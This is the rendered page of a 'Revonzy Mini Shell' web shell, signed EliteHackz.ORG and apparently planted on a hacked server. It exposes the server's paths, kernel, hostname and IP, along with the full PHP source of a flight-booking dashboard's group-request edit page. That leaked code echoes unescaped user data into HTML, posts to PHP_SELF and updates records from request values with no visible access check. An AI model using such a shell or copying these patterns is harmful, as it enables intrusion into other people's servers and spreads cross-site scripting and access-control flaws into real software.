Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/edit-pending-group-request.php

<?php 
require_once('lib/functions.php');
$db	= new class_functions();

$flag = 0;

$res_edit_id = "";
if(isset($_GET['edit_id'])){
    $res_edit_id = $_GET['edit_id'];
    $_SESSION['edit_id'] = $res_edit_id;  
}

	$res_edit_id	 = $_SESSION['edit_id'];

if(isset($_POST['submit']))
	{
		$status="pending";
		$sector_on_woard 	= $_POST['sector_on_woard'];
		$travel_date 		= $_POST['travel_date'];
		$no_of_pax  		= $_POST['no_of_pax'];
		$expected_fare  	= $_POST['expected_fare'];
		$note	  			= $_POST['note'];
		$agent_id			= $_POST['agent_id'];
		$other_1			= $_POST['other_1'];
		$other_2	  		= $_POST['other_2'];
		$other_3			= $_POST['other_3'];

   if($db->update_pending_group_request($sector_on_woard,$travel_date,$no_of_pax,$expected_fare,$note,$agent_id,$status,$other_1,$other_2,$other_3,$res_edit_id))
   {
	   $flag =1;
   }
}

$users_data = array();
$users_data = $db->get_pending_group_request_from_id($res_edit_id);
//print_r($users_data);
if(!empty($users_data))
{
    			$res_id					= $users_data['id'];				         								
				$sector_on_woard		= $users_data['sector_on_woard'];			  					
				$travel_date 			= $users_data['travel_date'];				     				
				//$var_hall_type		= $users_data['hall_type'];							
				$no_of_pax  			= $users_data['no_of_pax'];						
				$expected_fare			= $users_data['expected_fare'];							
				$note					= $users_data['note'];				        				
				$agent_id 				= $users_data['agent_id'];	
	            $other_1				= $users_data['other_1'];	
			    $other_2				= $users_data['other_2'];	
				$other_3				= $users_data['other_3'];			
				$date					= $users_data['date'];				            							
				$time					= $users_data['time'];		
}

?>
<!doctype html>
<html lang="en" dir="ltr">
  <head>
   <?php
		require_once('header-common.php');
   ?>
   <Style>
		.user_measurement
		{
			margin:0px;
			padding :0px;
			font-Size:13px !important;
		}
		.user_measurement_div
		{
			margin:0px;
			padding :0px;
			margin-left :2px;
			margin-bottom :0px;
			display:inline-table;
		}
   </Style>
  </head>
  <body class="  ">

    
    <aside class="sidebar sidebar-default sidebar-white sidebar-base navs-rounded-all ">
        <div class="sidebar-header d-flex align-items-center justify-content-start">
            <a href="index.php" class="navbar-brand">
				<img src="images/<?php echo $logo; ?>" class="software_logo" style="height:90px; width:220px;" />
            </a>
            <div class="sidebar-toggle" data-toggle="sidebar" data-active="true">
                <i class="icon">
                    <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M4.25 12.2744L19.25 12.2744" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M10.2998 18.2988L4.2498 12.2748L10.2998 6.24976" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                </i>
            </div>
        </div>
        
		<?php
		require_once('left-side.php');
	?>
		<div class="sidebar-footer"></div>
    </aside>   
	<main class="main-content">
    	<?php
			require_once('navbar.php');
		?>
	  
      <div class="conatiner-fluid content-inner mt-n5 py-0">
<div class="row">
    <div class="col-sm-12">
        <div class="card">
		
			<?php
			
				if($flag == 1)
				{
			?>
				<div class="mb-3 alert alert-left alert-success alert-dismissible fade show" role="alert" style="width:80%; margin:auto; margin-top:25px;">
					<span>Group Update Record Saved Successfully</span>
					<button type="submit" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
				</div>
				<script> 
				alert ("Record Updated Successfully");
				window.location = "group-request-pending-report.php"
				</script>
			<?php
				}
			?>
			
		
            <div class="card-header d-flex justify-content-between flex-wrap">
                <div class="header-title">
                    <h4 class="card-title mb-0">Edit Group Request</h4>
                </div>
				
				        <div class="card-body">
					<div class="table-responsive">
                         <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
                              <div class="row">
                                
								
								 
								 
								 <!--<div class="col-lg-3">
                                    <div class="form-group">
									<label class="form-label">Function Id</label>
                                    <select name="function_hall_id" class="form-control">	
                                          <option value="Select">Select</option>
                                              <?php
                                              $data = array();
                                              $data = $db->get_all_hall_names();
                                              $counter = 1;
                                              if(!empty($data))
                                              {
                                                foreach($data as $record)
                                                {
                                                  $res_id       = $record[0];
                                                  $afunction_hall_id = $record[1];      
                                             
                                        ?>
                                           <option value="<?php echo $res_id; ?>" <?php if($function_hall_id==$res_id){  ?> selected <?php } ?>><?php echo $afunction_hall_id; ?></option> 
										   <?php
                                                }
                                              }
                                            ?>
                    
                                          </select> 
                                    </div>
                                 </div>-->
								 
			                          <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-label">Sector On Woard</label>
                                       <input type="text" name="sector_on_woard" value="<?php echo $sector_on_woard;?>" class="form-control" id="address"  />
                                    </div>
                                 </div>
								 
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-label">Travel Date</label>
                                       <input type="date" name="travel_date" class="form-control" value="<?php echo $travel_date;?>" id="address" placeholder=" "  />
                                    </div>
                                 </div>
								 
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-label">No Of Pax</label>
                                       <input type="number" name="no_of_pax" class="form-control" value="<?php echo $no_of_pax;?>" id="address" placeholder=" "  />
                                    </div>
                                 </div>
								 
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-label">Expected Fare</label>
                                       <input type="number" name="expected_fare" class="form-control" value="<?php echo $expected_fare;?>" id="address" placeholder=" "  />
                                    </div>
                                 </div>
								 
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label class="form-label">note</label>
                                       <input type="text" name="note" class="form-control" id="address" value="<?php echo $note;?>" placeholder=" "  />
                                    </div>
                                 </div>
								 
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label class="form-label">Agent Id</label>
                                       <input type="text" name="agent_id" class="form-control" value="<?php echo $agent_id;?>" id="address" placeholder=" "  />
                                    </div>
                                 </div>
								 
								 <!--<div class="col-lg-2">
                                    <div class="form-group">
                                    <label class="form-label">status</label>
                                   <select name="status" class="form-control">
								
									   <option value="Select" <?php if($var_status=="Select"){ ?> selected <?php } ?>>Select</option>
									   <option value="Completed" <?php if($var_status=="Completed"){ ?> selected <?php } ?>>Completed</option>
									   <option value="Pending" <?php if($var_status=="Pending"){ ?> selected <?php } ?>>Pending</option>

                                    </select>
                                    </div>
                                 </div>-->	
								 
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label class="form-label">Other 1</label>
                                       <input type="text" name="other_1" class="form-control" value="<?php echo $other_1;?>" id="address" placeholder=" "  />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label class="form-label">Other 2</label>
                                       <input type="text" name="other_2" class="form-control" value="<?php echo $other_2;?>" id="address" placeholder=" "  />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label class="form-label">Other 3</label>
                                       <input type="text" name="other_3" class="form-control" value="<?php echo $other_3;?>" id="address" placeholder=" "  />
                                    </div>
                                 </div>

								
                              </div>
							  <div class="d-flex justify-content-center">
                                 <button type="submit" name="submit" class="btn btn-primary">Submit</button>
                              </div>
							</div>
						</form>
            </div>
        </div>
	</div>
</div>
</div>
    
    <!-- Library Bundle Script -->
    <script src="../assets/js/core/libs.min.js"></script>
    
    <!-- External Library Bundle Script -->
    <script src="../assets/js/core/external.min.js"></script>
    
    <!-- Widgetchart Script -->
    <script src="../assets/js/charts/widgetcharts.js"></script>
    
    <!-- mapchart Script -->
    <script src="../assets/js/charts/vectore-chart.js"></script>
    <script src="../assets/js/charts/dashboard.js" ></script>
    
    <!-- fslightbox Script -->
    <script src="../assets/js/plugins/fslightbox.js"></script>
    
    <!-- Settings Script -->
    <script src="../assets/js/plugins/setting.js"></script>
    
    <!-- Slider-tab Script -->
    <script src="../assets/js/plugins/slider-tabs.js"></script>
    
    <!-- Form Wizard Script -->
    <script src="../assets/js/plugins/form-wizard.js"></script>
    
    <!-- AOS Animation Plugin-->
    <script src="../assets/vendor/aos/dist/aos.js"></script>
    
    <!-- App Script -->
    <script src="../assets/js/hope-ui.js" defer></script>
     <style>
	.sidebar.sidebar-default .nav-link:not(.static-item).active , .sidebar.sidebar-default .nav-link:not(.static-item).active, .sidebar.sidebar-default .nav-link:not(.static-item)[aria-expanded=true]
	{
		background-color:#FE6600 !important;
	}
	</style>
  </body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4